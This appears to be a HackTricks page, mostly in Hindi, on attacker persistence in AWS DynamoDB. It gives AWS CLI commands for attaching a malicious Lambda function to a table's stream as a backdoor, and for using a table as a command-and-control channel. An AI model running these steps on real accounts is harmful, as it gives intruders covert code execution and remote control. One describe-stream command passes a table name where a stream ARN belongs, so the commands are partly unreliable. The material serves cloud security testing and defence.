AWS - DynamoDB Persistence

HackTricks को समर्थन दें

DynamoDB

अधिक जानकारी के लिए देखें:

AWS - DynamoDB Enum

DynamoDB Triggers with Lambda Backdoor

DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक गुप्त बैकडोर बना सकता है, जिसमें एक तालिका के साथ एक दुर्भावनापूर्ण Lambda function को जोड़ सकता है। Lambda function को तब ट्रिगर किया जा सकता है जब कोई आइटम जोड़ा, संशोधित, या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है।

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

दृढ़ता बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। यह हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति देता है।

C2 चैनल के रूप में DynamoDB

एक हमलावर DynamoDB तालिका का उपयोग कमांड और कंट्रोल (C2) चैनल के रूप में कर सकता है, जिसमें कमांड वाले आइटम बनाकर और समझौता किए गए इंस्टेंस या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को प्राप्त और निष्पादित किया जा सकता है।

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

समझौता किए गए instances या Lambda functions समय-समय पर नए commands के लिए C2 तालिका की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायित्व और नियंत्रण बनाए रखने की अनुमति देता है।

HackTricks को समर्थन दें

Last updated